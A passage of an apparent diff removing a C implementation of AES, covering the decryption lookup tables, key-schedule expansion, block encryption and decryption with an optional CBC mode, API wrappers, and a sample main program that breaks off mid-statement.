0x247d854aUL, 0x3df8d2bbUL, 0x3211aef9UL, 0xa16dc729UL, - 0x2f4b1d9eUL, 0x30f3dcb2UL, 0x52ec0d86UL, 0xe3d077c1UL, - 0x166c2bb3UL, 0xb999a970UL, 0x48fa1194UL, 0x642247e9UL, - 0x8cc4a8fcUL, 0x3f1aa0f0UL, 0x2cd8567dUL, 0x90ef2233UL, - 0x4ec78749UL, 0xd1c1d938UL, 0xa2fe8ccaUL, 0x0b3698d4UL, - 0x81cfa6f5UL, 0xde28a57aUL, 0x8e26dab7UL, 0xbfa43fadUL, - 0x9de42c3aUL, 0x920d5078UL, 0xcc9b6a5fUL, 0x4662547eUL, - 0x13c2f68dUL, 0xb8e890d8UL, 0xf75e2e39UL, 0xaff582c3UL, - 0x80be9f5dUL, 0x937c69d0UL, 0x2da96fd5UL, 0x12b3cf25UL, - 0x993bc8acUL, 0x7da71018UL, 0x636ee89cUL, 0xbb7bdb3bUL, - 0x7809cd26UL, 0x18f46e59UL, 0xb701ec9aUL, 0x9aa8834fUL, - 0x6e65e695UL, 0xe67eaaffUL, 0xcf0821bcUL, 0xe8e6ef15UL, - 0x9bd9bae7UL, 0x36ce4a6fUL, 0x09d4ea9fUL, 0x7cd629b0UL, - 0xb2af31a4UL, 0x23312a3fUL, 0x9430c6a5UL, 0x66c035a2UL, - 0xbc37744eUL, 0xcaa6fc82UL, 0xd0b0e090UL, 0xd81533a7UL, - 0x984af104UL, 0xdaf741ecUL, 0x500e7fcdUL, 0xf62f1791UL, - 0xd68d764dUL, 0xb04d43efUL, 0x4d54ccaaUL, 0x04dfe496UL, - 0xb5e39ed1UL, 0x881b4c6aUL, 0x1fb8c12cUL, 0x517f4665UL, - 0xea049d5eUL, 0x355d018cUL, 0x7473fa87UL, 0x412efb0bUL, - 0x1d5ab367UL, 0xd25292dbUL, 0x5633e910UL, 0x47136dd6UL, - 0x618c9ad7UL, 0x0c7a37a1UL, 0x148e59f8UL, 0x3c89eb13UL, - 0x27eecea9UL, 0xc935b761UL, 0xe5ede11cUL, 0xb13c7a47UL, - 0xdf599cd2UL, 0x733f55f2UL, 0xce791814UL, 0x37bf73c7UL, - 0xcdea53f7UL, 0xaa5b5ffdUL, 0x6f14df3dUL, 0xdb867844UL, - 0xf381caafUL, 0xc43eb968UL, 0x342c3824UL, 0x405fc2a3UL, - 0xc372161dUL, 0x250cbce2UL, 0x498b283cUL, 0x9541ff0dUL, - 0x017139a8UL, 0xb3de080cUL, 0xe49cd8b4UL, 0xc1906456UL, - 0x84617bcbUL, 0xb670d532UL, 0x5c74486cUL, 0x5742d0b8UL, -}; -static const unsigned int Td3[256] = { - 0xf4a75051UL, 0x4165537eUL, 0x17a4c31aUL, 0x275e963aUL, - 0xab6bcb3bUL, 0x9d45f11fUL, 0xfa58abacUL, 0xe303934bUL, - 0x30fa5520UL, 0x766df6adUL, 0xcc769188UL, 0x024c25f5UL, - 0xe5d7fc4fUL, 0x2acbd7c5UL, 0x35448026UL, 0x62a38fb5UL, - 0xb15a49deUL, 0xba1b6725UL, 0xea0e9845UL, 0xfec0e15dUL, - 0x2f7502c3UL, 0x4cf01281UL, 0x4697a38dUL, 0xd3f9c66bUL, - 0x8f5fe703UL, 0x929c9515UL, 0x6d7aebbfUL, 0x5259da95UL, - 0xbe832dd4UL, 0x7421d358UL, 0xe0692949UL, 0xc9c8448eUL, - 0xc2896a75UL, 0x8e7978f4UL, 0x583e6b99UL, 0xb971dd27UL, - 0xe14fb6beUL, 0x88ad17f0UL, 0x20ac66c9UL, 0xce3ab47dUL, - 0xdf4a1863UL, 0x1a3182e5UL, 0x51336097UL, 0x537f4562UL, - 0x6477e0b1UL, 0x6bae84bbUL, 0x81a01cfeUL, 0x082b94f9UL, - 0x48685870UL, 0x45fd198fUL, 0xde6c8794UL, 0x7bf8b752UL, - 0x73d323abUL, 0x4b02e272UL, 0x1f8f57e3UL, 0x55ab2a66UL, - 0xeb2807b2UL, 0xb5c2032fUL, 0xc57b9a86UL, 0x3708a5d3UL, - 0x2887f230UL, 0xbfa5b223UL, 0x036aba02UL, 0x16825cedUL, - 0xcf1c2b8aUL, 0x79b492a7UL, 0x07f2f0f3UL, 0x69e2a14eUL, - 0xdaf4cd65UL, 0x05bed506UL, 0x34621fd1UL, 0xa6fe8ac4UL, - 0x2e539d34UL, 0xf355a0a2UL, 0x8ae13205UL, 0xf6eb75a4UL, - 0x83ec390bUL, 0x60efaa40UL, 0x719f065eUL, 0x6e1051bdUL, - 0x218af93eUL, 0xdd063d96UL, 0x3e05aeddUL, 0xe6bd464dUL, - 0x548db591UL, 0xc45d0571UL, 0x06d46f04UL, 0x5015ff60UL, - 0x98fb2419UL, 0xbde997d6UL, 0x4043cc89UL, 0xd99e7767UL, - 0xe842bdb0UL, 0x898b8807UL, 0x195b38e7UL, 0xc8eedb79UL, - 0x7c0a47a1UL, 0x420fe97cUL, 0x841ec9f8UL, 0x00000000UL, - 0x80868309UL, 0x2bed4832UL, 0x1170ac1eUL, 0x5a724e6cUL, - 0x0efffbfdUL, 0x8538560fUL, 0xaed51e3dUL, 0x2d392736UL, - 0x0fd9640aUL, 0x5ca62168UL, 0x5b54d19bUL, 0x362e3a24UL, - 0x0a67b10cUL, 0x57e70f93UL, 0xee96d2b4UL, 0x9b919e1bUL, - 0xc0c54f80UL, 0xdc20a261UL, 0x774b695aUL, 0x121a161cUL, - 0x93ba0ae2UL, 0xa02ae5c0UL, 0x22e0433cUL, 0x1b171d12UL, - 0x090d0b0eUL, 0x8bc7adf2UL, 0xb6a8b92dUL, 0x1ea9c814UL, - 0xf1198557UL, 0x75074cafUL, 0x99ddbbeeUL, 0x7f60fda3UL, - 0x01269ff7UL, 0x72f5bc5cUL, 0x663bc544UL, 0xfb7e345bUL, - 0x4329768bUL, 0x23c6dccbUL, 0xedfc68b6UL, 0xe4f163b8UL, - 0x31dccad7UL, 0x63851042UL, 0x97224013UL, 0xc6112084UL, - 0x4a247d85UL, 0xbb3df8d2UL, 0xf93211aeUL, 0x29a16dc7UL, - 0x9e2f4b1dUL, 0xb230f3dcUL, 0x8652ec0dUL, 0xc1e3d077UL, - 0xb3166c2bUL, 0x70b999a9UL, 0x9448fa11UL, 0xe9642247UL, - 0xfc8cc4a8UL, 0xf03f1aa0UL, 0x7d2cd856UL, 0x3390ef22UL, - 0x494ec787UL, 0x38d1c1d9UL, 0xcaa2fe8cUL, 0xd40b3698UL, - 0xf581cfa6UL, 0x7ade28a5UL, 0xb78e26daUL, 0xadbfa43fUL, - 0x3a9de42cUL, 0x78920d50UL, 0x5fcc9b6aUL, 0x7e466254UL, - 0x8d13c2f6UL, 0xd8b8e890UL, 0x39f75e2eUL, 0xc3aff582UL, - 0x5d80be9fUL, 0xd0937c69UL, 0xd52da96fUL, 0x2512b3cfUL, - 0xac993bc8UL, 0x187da710UL, 0x9c636ee8UL, 0x3bbb7bdbUL, - 0x267809cdUL, 0x5918f46eUL, 0x9ab701ecUL, 0x4f9aa883UL, - 0x956e65e6UL, 0xffe67eaaUL, 0xbccf0821UL, 0x15e8e6efUL, - 0xe79bd9baUL, 0x6f36ce4aUL, 0x9f09d4eaUL, 0xb07cd629UL, - 0xa4b2af31UL, 0x3f23312aUL, 0xa59430c6UL, 0xa266c035UL, - 0x4ebc3774UL, 0x82caa6fcUL, 0x90d0b0e0UL, 0xa7d81533UL, - 0x04984af1UL, 0xecdaf741UL, 0xcd500e7fUL, 0x91f62f17UL, - 0x4dd68d76UL, 0xefb04d43UL, 0xaa4d54ccUL, 0x9604dfe4UL, - 0xd1b5e39eUL, 0x6a881b4cUL, 0x2c1fb8c1UL, 0x65517f46UL, - 0x5eea049dUL, 0x8c355d01UL, 0x877473faUL, 0x0b412efbUL, - 0x671d5ab3UL, 0xdbd25292UL, 0x105633e9UL, 0xd647136dUL, - 0xd7618c9aUL, 0xa10c7a37UL, 0xf8148e59UL, 0x133c89ebUL, - 0xa927eeceUL, 0x61c935b7UL, 0x1ce5ede1UL, 0x47b13c7aUL, - 0xd2df599cUL, 0xf2733f55UL, 0x14ce7918UL, 0xc737bf73UL, - 0xf7cdea53UL, 0xfdaa5b5fUL, 0x3d6f14dfUL, 0x44db8678UL, - 0xaff381caUL, 0x68c43eb9UL, 0x24342c38UL, 0xa3405fc2UL, - 0x1dc37216UL, 0xe2250cbcUL, 0x3c498b28UL, 0x0d9541ffUL, - 0xa8017139UL, 0x0cb3de08UL, 0xb4e49cd8UL, 0x56c19064UL, - 0xcb84617bUL, 0x32b670d5UL, 0x6c5c7448UL, 0xb85742d0UL, -}; -static const unsigned int Td4[256] = { - 0x52525252UL, 0x09090909UL, 0x6a6a6a6aUL, 0xd5d5d5d5UL, - 0x30303030UL, 0x36363636UL, 0xa5a5a5a5UL, 0x38383838UL, - 0xbfbfbfbfUL, 0x40404040UL, 0xa3a3a3a3UL, 0x9e9e9e9eUL, - 0x81818181UL, 0xf3f3f3f3UL, 0xd7d7d7d7UL, 0xfbfbfbfbUL, - 0x7c7c7c7cUL, 0xe3e3e3e3UL, 0x39393939UL, 0x82828282UL, - 0x9b9b9b9bUL, 0x2f2f2f2fUL, 0xffffffffUL, 0x87878787UL, - 0x34343434UL, 0x8e8e8e8eUL, 0x43434343UL, 0x44444444UL, - 0xc4c4c4c4UL, 0xdedededeUL, 0xe9e9e9e9UL, 0xcbcbcbcbUL, - 0x54545454UL, 0x7b7b7b7bUL, 0x94949494UL, 0x32323232UL, - 0xa6a6a6a6UL, 0xc2c2c2c2UL, 0x23232323UL, 0x3d3d3d3dUL, - 0xeeeeeeeeUL, 0x4c4c4c4cUL, 0x95959595UL, 0x0b0b0b0bUL, - 0x42424242UL, 0xfafafafaUL, 0xc3c3c3c3UL, 0x4e4e4e4eUL, - 0x08080808UL, 0x2e2e2e2eUL, 0xa1a1a1a1UL, 0x66666666UL, - 0x28282828UL, 0xd9d9d9d9UL, 0x24242424UL, 0xb2b2b2b2UL, - 0x76767676UL, 0x5b5b5b5bUL, 0xa2a2a2a2UL, 0x49494949UL, - 0x6d6d6d6dUL, 0x8b8b8b8bUL, 0xd1d1d1d1UL, 0x25252525UL, - 0x72727272UL, 0xf8f8f8f8UL, 0xf6f6f6f6UL, 0x64646464UL, - 0x86868686UL, 0x68686868UL, 0x98989898UL, 0x16161616UL, - 0xd4d4d4d4UL, 0xa4a4a4a4UL, 0x5c5c5c5cUL, 0xccccccccUL, - 0x5d5d5d5dUL, 0x65656565UL, 0xb6b6b6b6UL, 0x92929292UL, - 0x6c6c6c6cUL, 0x70707070UL, 0x48484848UL, 0x50505050UL, - 0xfdfdfdfdUL, 0xededededUL, 0xb9b9b9b9UL, 0xdadadadaUL, - 0x5e5e5e5eUL, 0x15151515UL, 0x46464646UL, 0x57575757UL, - 0xa7a7a7a7UL, 0x8d8d8d8dUL, 0x9d9d9d9dUL, 0x84848484UL, - 0x90909090UL, 0xd8d8d8d8UL, 0xababababUL, 0x00000000UL, - 0x8c8c8c8cUL, 0xbcbcbcbcUL, 0xd3d3d3d3UL, 0x0a0a0a0aUL, - 0xf7f7f7f7UL, 0xe4e4e4e4UL, 0x58585858UL, 0x05050505UL, - 0xb8b8b8b8UL, 0xb3b3b3b3UL, 0x45454545UL, 0x06060606UL, - 0xd0d0d0d0UL, 0x2c2c2c2cUL, 0x1e1e1e1eUL, 0x8f8f8f8fUL, - 0xcacacacaUL, 0x3f3f3f3fUL, 0x0f0f0f0fUL, 0x02020202UL, - 0xc1c1c1c1UL, 0xafafafafUL, 0xbdbdbdbdUL, 0x03030303UL, - 0x01010101UL, 0x13131313UL, 0x8a8a8a8aUL, 0x6b6b6b6bUL, - 0x3a3a3a3aUL, 0x91919191UL, 0x11111111UL, 0x41414141UL, - 0x4f4f4f4fUL, 0x67676767UL, 0xdcdcdcdcUL, 0xeaeaeaeaUL, - 0x97979797UL, 0xf2f2f2f2UL, 0xcfcfcfcfUL, 0xcecececeUL, - 0xf0f0f0f0UL, 0xb4b4b4b4UL, 0xe6e6e6e6UL, 0x73737373UL, - 0x96969696UL, 0xacacacacUL, 0x74747474UL, 0x22222222UL, - 0xe7e7e7e7UL, 0xadadadadUL, 0x35353535UL, 0x85858585UL, - 0xe2e2e2e2UL, 0xf9f9f9f9UL, 0x37373737UL, 0xe8e8e8e8UL, - 0x1c1c1c1cUL, 0x75757575UL, 0xdfdfdfdfUL, 0x6e6e6e6eUL, - 0x47474747UL, 0xf1f1f1f1UL, 0x1a1a1a1aUL, 0x71717171UL, - 0x1d1d1d1dUL, 0x29292929UL, 0xc5c5c5c5UL, 0x89898989UL, - 0x6f6f6f6fUL, 0xb7b7b7b7UL, 0x62626262UL, 0x0e0e0e0eUL, - 0xaaaaaaaaUL, 0x18181818UL, 0xbebebebeUL, 0x1b1b1b1bUL, - 0xfcfcfcfcUL, 0x56565656UL, 0x3e3e3e3eUL, 0x4b4b4b4bUL, - 0xc6c6c6c6UL, 0xd2d2d2d2UL, 0x79797979UL, 0x20202020UL, - 0x9a9a9a9aUL, 0xdbdbdbdbUL, 0xc0c0c0c0UL, 0xfefefefeUL, - 0x78787878UL, 0xcdcdcdcdUL, 0x5a5a5a5aUL, 0xf4f4f4f4UL, - 0x1f1f1f1fUL, 0xddddddddUL, 0xa8a8a8a8UL, 0x33333333UL, - 0x88888888UL, 0x07070707UL, 0xc7c7c7c7UL, 0x31313131UL, - 0xb1b1b1b1UL, 0x12121212UL, 0x10101010UL, 0x59595959UL, - 0x27272727UL, 0x80808080UL, 0xececececUL, 0x5f5f5f5fUL, - 0x60606060UL, 0x51515151UL, 0x7f7f7f7fUL, 0xa9a9a9a9UL, - 0x19191919UL, 0xb5b5b5b5UL, 0x4a4a4a4aUL, 0x0d0d0d0dUL, - 0x2d2d2d2dUL, 0xe5e5e5e5UL, 0x7a7a7a7aUL, 0x9f9f9f9fUL, - 0x93939393UL, 0xc9c9c9c9UL, 0x9c9c9c9cUL, 0xefefefefUL, - 0xa0a0a0a0UL, 0xe0e0e0e0UL, 0x3b3b3b3bUL, 0x4d4d4d4dUL, - 0xaeaeaeaeUL, 0x2a2a2a2aUL, 0xf5f5f5f5UL, 0xb0b0b0b0UL, - 0xc8c8c8c8UL, 0xebebebebUL, 0xbbbbbbbbUL, 0x3c3c3c3cUL, - 0x83838383UL, 0x53535353UL, 0x99999999UL, 0x61616161UL, - 0x17171717UL, 0x2b2b2b2bUL, 0x04040404UL, 0x7e7e7e7eUL, - 0xbabababaUL, 0x77777777UL, 0xd6d6d6d6UL, 0x26262626UL, - 0xe1e1e1e1UL, 0x69696969UL, 0x14141414UL, 0x63636363UL, - 0x55555555UL, 0x21212121UL, 0x0c0c0c0cUL, 0x7d7d7d7dUL, -}; -static const unsigned int rcon[] = { - 0x01000000UL, 0x02000000UL, 0x04000000UL, 0x08000000UL, - 0x10000000UL, 0x20000000UL, 0x40000000UL, 0x80000000UL, - 0x1B000000UL, 0x36000000UL, -}; - -#define GETU32(pt) (((unsigned int)(pt)[0] << 24) ^ \ - ((unsigned int)(pt)[1] << 16) ^ \ - ((unsigned int)(pt)[2] << 8) ^ \ - ((unsigned int)(pt)[3])) - -#define PUTU32(ct, st) { (ct)[0] = (unsigned char)((st) >> 24); \ - (ct)[1] = (unsigned char)((st) >> 16); \ - (ct)[2] = (unsigned char)((st) >> 8); \ - (ct)[3] = (unsigned char)(st); } - -/* -* Expand the cipher key into the encryption key schedule and return the -* number of rounds for the given cipher key size. -*/ -int aes_setkey_enc(unsigned int rk[], const unsigned char cipherKey[], int keyBytes) { - int i = 0; - unsigned int temp; - - rk[0] = GETU32(cipherKey); - rk[1] = GETU32(cipherKey + 4); - rk[2] = GETU32(cipherKey + 8); - rk[3] = GETU32(cipherKey + 12); - if (keyBytes == 16) { // 128 bits - for (;;) { - temp = rk[3]; - rk[4] = rk[0] ^ - (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ - (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ - (Te4[(temp) & 0xff] & 0x0000ff00) ^ - (Te4[(temp >> 24) ] & 0x000000ff) ^ - rcon[i]; - rk[5] = rk[1] ^ rk[4]; - rk[6] = rk[2] ^ rk[5]; - rk[7] = rk[3] ^ rk[6]; - if (++i == 10) { - return 10; - } - rk += 4; - } - } - rk[4] = GETU32(cipherKey + 16); - rk[5] = GETU32(cipherKey + 20); - if (keyBytes == 24) { // 192 bits - for (;;) { - temp = rk[ 5]; - rk[ 6] = rk[ 0] ^ - (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ - (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ - (Te4[(temp) & 0xff] & 0x0000ff00) ^ - (Te4[(temp >> 24) ] & 0x000000ff) ^ - rcon[i]; - rk[ 7] = rk[ 1] ^ rk[ 6]; - rk[ 8] = rk[ 2] ^ rk[ 7]; - rk[ 9] = rk[ 3] ^ rk[ 8]; - if (++i == 8) { - return 12; - } - rk[10] = rk[ 4] ^ rk[ 9]; - rk[11] = rk[ 5] ^ rk[10]; - rk += 6; - } - } - rk[6] = GETU32(cipherKey + 24); - rk[7] = GETU32(cipherKey + 28); - if (keyBytes == 32) { // 256 bits - for (;;) { - temp = rk[ 7]; - rk[ 8] = rk[ 0] ^ - (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ - (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ - (Te4[(temp) & 0xff] & 0x0000ff00) ^ - (Te4[(temp >> 24) ] & 0x000000ff) ^ - rcon[i]; - rk[ 9] = rk[ 1] ^ rk[ 8]; - rk[10] = rk[ 2] ^ rk[ 9]; - rk[11] = rk[ 3] ^ rk[10]; - if (++i == 7) { - return 14; - } - temp = rk[11]; - rk[12] = rk[ 4] ^ - (Te4[(temp >> 24) ] & 0xff000000) ^ - (Te4[(temp >> 16) & 0xff] & 0x00ff0000) ^ - (Te4[(temp >> 8) & 0xff] & 0x0000ff00) ^ - (Te4[(temp) & 0xff] & 0x000000ff); - rk[13] = rk[ 5] ^ rk[12]; - rk[14] = rk[ 6] ^ rk[13]; - rk[15] = rk[ 7] ^ rk[14]; - - rk += 8; - } - } - return 0; -} - -/* -* Expand the cipher key into encryption and decryption key schedule and -* return the number of rounds for the given cipher key size. -*/ -int AesGenKeySched(unsigned int rk[], unsigned int rrk[], const unsigned char cipherKey[], int keyBytes) { - int Nr, i; - - // expand the cipher key - Nr = aes_setkey_enc(rk, cipherKey, keyBytes); - // invert the order of the first round keys - rrk += Nr * 4; - rrk[0] = rk[0]; - rrk[1] = rk[1]; - rrk[2] = rk[2]; - rrk[3] = rk[3]; - - /* - * apply the inverse MixColumn transform to all round keys but the first - * and the last - */ - for (i = 1; i < Nr; i++) { - rrk -= 4; - rk += 4; - rrk[0] = - Td0[Te4[(rk[0] >> 24) ] & 0xff] ^ - Td1[Te4[(rk[0] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(rk[0] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(rk[0]) & 0xff] & 0xff]; - rrk[1] = - Td0[Te4[(rk[1] >> 24) ] & 0xff] ^ - Td1[Te4[(rk[1] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(rk[1] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(rk[1]) & 0xff] & 0xff]; - rrk[2] = - Td0[Te4[(rk[2] >> 24) ] & 0xff] ^ - Td1[Te4[(rk[2] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(rk[2] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(rk[2]) & 0xff] & 0xff]; - rrk[3] = - Td0[Te4[(rk[3] >> 24) ] & 0xff] ^ - Td1[Te4[(rk[3] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(rk[3] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(rk[3]) & 0xff] & 0xff]; - } - // invert the order of the last round keys - rrk -= 4; - rk += 4; - rrk[0] = rk[0]; - rrk[1] = rk[1]; - rrk[2] = rk[2]; - rrk[3] = rk[3]; - - return Nr; -} - -/* -* Encrypt the plain text into cipher -*/ -void AesEncBlk(AesCtx *pCtx, const unsigned char pt[], unsigned char ct[]) { - unsigned int s0, s1, s2, s3, t0, t1, t2, t3, *iv; - const unsigned int *rk; - int r; - - rk = pCtx->Ek; - iv = pCtx->Iv; - /* - * map byte array block to cipher state - * and add initial round key: - */ - s0 = GETU32(pt) ^ rk[0]; - s1 = GETU32(pt + 4) ^ rk[1]; - s2 = GETU32(pt + 8) ^ rk[2]; - s3 = GETU32(pt + 12) ^ rk[3]; - if (pCtx->Mode) { - s0 = s0 ^ iv[0]; - s1 = s1 ^ iv[1]; - s2 = s2 ^ iv[2]; - s3 = s3 ^ iv[3]; - } - /* - * Nr - 1 full rounds: - */ - r = pCtx->Nr >> 1; - for (;;) { - t0 = - Te0[(s0 >> 24) ] ^ - Te1[(s1 >> 16) & 0xff] ^ - Te2[(s2 >> 8) & 0xff] ^ - Te3[(s3) & 0xff] ^ - rk[4]; - t1 = - Te0[(s1 >> 24) ] ^ - Te1[(s2 >> 16) & 0xff] ^ - Te2[(s3 >> 8) & 0xff] ^ - Te3[(s0) & 0xff] ^ - rk[5]; - t2 = - Te0[(s2 >> 24) ] ^ - Te1[(s3 >> 16) & 0xff] ^ - Te2[(s0 >> 8) & 0xff] ^ - Te3[(s1) & 0xff] ^ - rk[6]; - t3 = - Te0[(s3 >> 24) ] ^ - Te1[(s0 >> 16) & 0xff] ^ - Te2[(s1 >> 8) & 0xff] ^ - Te3[(s2) & 0xff] ^ - rk[7]; - - rk += 8; - if (--r == 0) { - break; - } - - s0 = - Te0[(t0 >> 24) ] ^ - Te1[(t1 >> 16) & 0xff] ^ - Te2[(t2 >> 8) & 0xff] ^ - Te3[(t3) & 0xff] ^ - rk[0]; - s1 = - Te0[(t1 >> 24) ] ^ - Te1[(t2 >> 16) & 0xff] ^ - Te2[(t3 >> 8) & 0xff] ^ - Te3[(t0) & 0xff] ^ - rk[1]; - s2 = - Te0[(t2 >> 24) ] ^ - Te1[(t3 >> 16) & 0xff] ^ - Te2[(t0 >> 8) & 0xff] ^ - Te3[(t1) & 0xff] ^ - rk[2]; - s3 = - Te0[(t3 >> 24) ] ^ - Te1[(t0 >> 16) & 0xff] ^ - Te2[(t1 >> 8) & 0xff] ^ - Te3[(t2) & 0xff] ^ - rk[3]; - } - /* - * apply last round and - * map cipher state to byte array block: - */ - s0 = - (Te4[(t0 >> 24) ] & 0xff000000) ^ - (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ - (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ - (Te4[(t3) & 0xff] & 0x000000ff) ^ - rk[0]; - PUTU32(ct, s0); - s1 = - (Te4[(t1 >> 24) ] & 0xff000000) ^ - (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ - (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ - (Te4[(t0) & 0xff] & 0x000000ff) ^ - rk[1]; - PUTU32(ct + 4, s1); - s2 = - (Te4[(t2 >> 24) ] & 0xff000000) ^ - (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ - (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ - (Te4[(t1) & 0xff] & 0x000000ff) ^ - rk[2]; - PUTU32(ct + 8, s2); - s3 = - (Te4[(t3 >> 24) ] & 0xff000000) ^ - (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ - (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ - (Te4[(t2) & 0xff] & 0x000000ff) ^ - rk[3]; - PUTU32(ct + 12, s3); - - if (pCtx->Mode) { - iv[0] = s0; - iv[1] = s1; - iv[2] = s2; - iv[3] = s3; - } -} - -/* -* Decrypt the cipher into plain text -*/ -void AesDecBlk(AesCtx *pCtx, const unsigned char ct[], unsigned char pt[]) { - unsigned int s0, s1, s2, s3, t0, t1, t2, t3, v0, v1, v2, v3, *iv; - const unsigned int *rk; - int r; - - rk = pCtx->Dk; - iv = pCtx->Iv; - /* - * map byte array block to cipher state - * and add initial round key: - */ - v0 = GETU32(ct); - s0 = v0 ^ rk[0]; - v1 = GETU32(ct + 4); - s1 = v1 ^ rk[1]; - v2 = GETU32(ct + 8); - s2 = v2 ^ rk[2]; - v3 = GETU32(ct + 12); - s3 = v3 ^ rk[3]; - /* - * Nr - 1 full rounds: - */ - r = pCtx->Nr >> 1; - for (;;) { - t0 = - Td0[(s0 >> 24) ] ^ - Td1[(s3 >> 16) & 0xff] ^ - Td2[(s2 >> 8) & 0xff] ^ - Td3[(s1) & 0xff] ^ - rk[4]; - t1 = - Td0[(s1 >> 24) ] ^ - Td1[(s0 >> 16) & 0xff] ^ - Td2[(s3 >> 8) & 0xff] ^ - Td3[(s2) & 0xff] ^ - rk[5]; - t2 = - Td0[(s2 >> 24) ] ^ - Td1[(s1 >> 16) & 0xff] ^ - Td2[(s0 >> 8) & 0xff] ^ - Td3[(s3) & 0xff] ^ - rk[6]; - t3 = - Td0[(s3 >> 24) ] ^ - Td1[(s2 >> 16) & 0xff] ^ - Td2[(s1 >> 8) & 0xff] ^ - Td3[(s0) & 0xff] ^ - rk[7]; - - rk += 8; - if (--r == 0) { - break; - } - - s0 = - Td0[(t0 >> 24) ] ^ - Td1[(t3 >> 16) & 0xff] ^ - Td2[(t2 >> 8) & 0xff] ^ - Td3[(t1) & 0xff] ^ - rk[0]; - s1 = - Td0[(t1 >> 24) ] ^ - Td1[(t0 >> 16) & 0xff] ^ - Td2[(t3 >> 8) & 0xff] ^ - Td3[(t2) & 0xff] ^ - rk[1]; - s2 = - Td0[(t2 >> 24) ] ^ - Td1[(t1 >> 16) & 0xff] ^ - Td2[(t0 >> 8) & 0xff] ^ - Td3[(t3) & 0xff] ^ - rk[2]; - s3 = - Td0[(t3 >> 24) ] ^ - Td1[(t2 >> 16) & 0xff] ^ - Td2[(t1 >> 8) & 0xff] ^ - Td3[(t0) & 0xff] ^ - rk[3]; - } - /* - * apply last round and - * map cipher state to byte array block: - */ - s0 = - (Td4[(t0 >> 24) ] & 0xff000000) ^ - (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ - (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ - (Td4[(t1) & 0xff] & 0x000000ff) ^ - rk[0]; - s1 = - (Td4[(t1 >> 24) ] & 0xff000000) ^ - (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ - (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ - (Td4[(t2) & 0xff] & 0x000000ff) ^ - rk[1]; - s2 = - (Td4[(t2 >> 24) ] & 0xff000000) ^ - (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ - (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ - (Td4[(t3) & 0xff] & 0x000000ff) ^ - rk[2]; - s3 = - (Td4[(t3 >> 24) ] & 0xff000000) ^ - (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ - (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ - (Td4[(t0) & 0xff] & 0x000000ff) ^ - rk[3]; - - if (pCtx->Mode) { - s0 = s0 ^ iv[0]; - iv[0] = v0; - s1 = s1 ^ iv[1]; - iv[1] = v1; - s2 = s2 ^ iv[2]; - iv[2] = v2; - s3 = s3 ^ iv[3]; - iv[3] = v3; - } - - PUTU32(pt, s0); - PUTU32(pt + 4, s1); - PUTU32(pt + 8, s2); - PUTU32(pt + 12, s3); -} - -////////////////////////////////////////////////////////////////////////////// -// API functions // -////////////////////////////////////////////////////////////////////////////// - -/* -* initialize AES context -*/ -int AesCtxIni(AesCtx *pCtx, unsigned char *pIV, unsigned char *pKey, unsigned int KeyLen, unsigned char Mode) { - if (pKey == 0 || pCtx == 0 || (KeyLen != KEY128 && KeyLen != KEY192 && KeyLen != KEY256)) - return -1; - - // generate key schedule - pCtx->Nr = AesGenKeySched(pCtx->Ek, pCtx->Dk, pKey, KeyLen); - - // initialize IV - if (pIV != 0) { - pCtx->Iv[0] = GETU32(pIV); - pCtx->Iv[1] = GETU32(pIV + 4); - pCtx->Iv[2] = GETU32(pIV + 8); - pCtx->Iv[3] = GETU32(pIV + 12); - } - - // mode - pCtx->Mode = Mode; - - return 0; -} - -/* -* Encrypt plain text -*/ -int AesEncrypt(AesCtx *pCtx, unsigned char *pData, unsigned char *pCipher, unsigned int DataLen) { - int i; - - if (pData == 0 || pCipher == 0 || pCtx == 0 || (DataLen & 0xf) != 0) - return -1; - - for (i = 0; i < DataLen; i += BLOCKSZ) { - // encrypt block by block - AesEncBlk(pCtx, pData, pCipher); - pCipher += BLOCKSZ; - pData += BLOCKSZ; - } - return DataLen; -} - -/* -* Decrypt cipher -*/ -int AesDecrypt(AesCtx *pCtx, unsigned char *pCipher, unsigned char *pData, unsigned int CipherLen) { - int i; - - if (pData == 0 || pCipher == 0 || pCtx == 0 || (CipherLen & 0xf) != 0) - return -1; - - for (i = 0; i < CipherLen; i += BLOCKSZ) { - // decrypt block by block - AesDecBlk(pCtx, pCipher, pData); - pCipher += BLOCKSZ; - pData += BLOCKSZ; - } - return CipherLen; -} - -////////////////////////////////////////////////////////////////////////////// -// Sample main program // -////////////////////////////////////////////////////////////////////////////// - -#ifndef EMBEDDED - -#include - -int main() { - AesCtx ctx; - unsigned char iv[] = "INI VECTINI VECT"; - unsigned char key[] = "This is a sample AESKey"; - unsigned char databuf[] = "Data : AES Test"; // must be in multiple of 16 - - // initialize context and encrypt data at one end - - if (AesCtxIni(&ctx, iv, key, KEY128, CBC) < 0) - printf("init error\n"); - - if (AesEncrypt(&ctx, databuf, databuf, sizeof(databuf)) < 0) - printf("error in encryption\n"); - - // initialize context and decrypt cipher at other end - - if 